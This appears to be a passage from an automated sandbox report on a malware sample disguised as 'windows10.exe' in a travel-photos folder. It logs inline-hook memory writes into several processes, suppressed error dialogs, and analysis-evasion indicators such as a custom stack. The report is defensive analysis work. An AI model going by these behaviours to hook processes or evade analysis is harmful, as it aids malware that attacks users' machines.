Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 75A4EBF0 value: E9 1A 14 D3 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 790005 value: E9 8B 8A E4 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 765D8A90 value: E9 7A 75 1B 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 7A0005 value: E9 2B 02 E6 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 76600230 value: E9 DA FD 19 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 700005 value: E9 8B 2F 06 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 77762F90 value: E9 7A D0 F9 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 720005 value: E9 2B BA 00 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 7772BA30 value: E9 DA 45 FF 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 740008 value: E9 8B 8E 03 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 77778E90 value: E9 80 71 FC 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 3890005 value: E9 8B 4D 1A 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 75A34D90 value: E9 7A B2 E5 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 38A0005 value: E9 EB EB 1A 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 75A4EBF0 value: E9 1A 14 E5 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 38B0005 value: E9 8B 8A D2 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 765D8A90 value: E9 7A 75 2D 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 38C0005 value: E9 2B 02 D4 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8272 base: 76600230 value: E9 DA FD 2B 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 6E0005 value: E9 8B 2F 08 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 77762F90 value: E9 7A D0 F7 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 750005 value: E9 2B BA FD 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 7772BA30 value: E9 DA 45 02 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 760008 value: E9 8B 8E 01 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 77778E90 value: E9 80 71 FE 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 780005 value: E9 8B 4D 2B 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 75A34D90 value: E9 7A B2 D4 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 790005 value: E9 EB EB 2B 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 75A4EBF0 value: E9 1A 14 D4 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 39B0005 value: E9 8B 8A C2 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 765D8A90 value: E9 7A 75 3D 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 39C0005 value: E9 2B 02 C4 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8288 base: 76600230 value: E9 DA FD 3B 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 610005 value: E9 8B 2F 15 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 77762F90 value: E9 7A D0 EA 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 3960005 value: E9 2B BA DC 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 7772BA30 value: E9 DA 45 23 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 3970008 value: E9 8B 8E E0 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 77778E90 value: E9 80 71 1F 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 3990005 value: E9 8B 4D 0A 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 75A34D90 value: E9 7A B2 F5 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 39A0005 value: E9 EB EB 0A 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 75A4EBF0 value: E9 1A 14 F5 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 39C0005 value: E9 8B 8A C1 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 765D8A90 value: E9 7A 75 3E 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 39D0005 value: E9 2B 02 C3 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8304 base: 76600230 value: E9 DA FD 3C 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 6D0005 value: E9 8B 2F 09 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 77762F90 value: E9 7A D0 F6 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 6F0005 value: E9 2B BA 03 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 7772BA30 value: E9 DA 45 FC 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 860008 value: E9 8B 8E F1 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 77778E90 value: E9 80 71 0E 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 880005 value: E9 8B 4D 1B 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 75A34D90 value: E9 7A B2 E4 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 890005 value: E9 EB EB 1B 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 75A4EBF0 value: E9 1A 14 E4 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 8A0005 value: E9 8B 8A D3 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 765D8A90 value: E9 7A 75 2C 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 8B0005 value: E9 2B 02 D5 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8312 base: 76600230 value: E9 DA FD 2A 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 6D0005 value: E9 8B 2F 09 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 77762F90 value: E9 7A D0 F6 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 730005 value: E9 2B BA FF 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 7772BA30 value: E9 DA 45 00 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 740008 value: E9 8B 8E 03 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 77778E90 value: E9 80 71 FC 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 870005 value: E9 8B 4D 1C 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 75A34D90 value: E9 7A B2 E3 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 880005 value: E9 EB EB 1C 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 75A4EBF0 value: E9 1A 14 E3 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 890005 value: E9 8B 8A D4 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 765D8A90 value: E9 7A 75 2B 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 8A0005 value: E9 2B 02 D6 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8524 base: 76600230 value: E9 DA FD 29 8A	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1CA6817
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 13C3FE1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DCD28A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D5CC61
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EBB7DD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D9F9F2
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EC362F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D4FE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 13E88A0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DE4F13
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1C6EB9A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D86EF5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DEF32F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F178CC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D3DC69
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F7C9C0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E4EB9A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1B9DC69
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1403FE1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1CAEB9A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E46F41
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F7C237
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E7D28A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EE8C0A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DFC9C0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 13EB8A4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1CA2E43
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1C9E90D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D3AF83
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E4837E
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F2FE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EB0774
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 20F78CC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F902EA
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1B9AF83
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1B25C50
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EFB7DD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DF02EA
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E0D28A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D10774
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 13CB8A4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1C5DC69
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D55D9C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 14B89BC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1BFA8D4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1B95C50
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E4F9F2
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D80774
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E9F32F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E602EA
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1BAA8D4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1B1E90D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DBCC61
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D836DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E4F32F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E2D28A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F2362F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1BE5C50
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E0AEF7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D6837E
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E4FE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D6EB9A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E236DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DD0774
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 20178CC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 15C88A0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F036DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1FC4F13
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F66EF5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 14689BC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DFFE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DD36DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D1EB9A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E2F32F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D8FE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F578CC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1D636DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1FA40E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DE6EF5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F778CC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E44F13
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 20440E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EB02EA
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1EE4F13
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F1238B
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 205B321
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 20940E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1521870
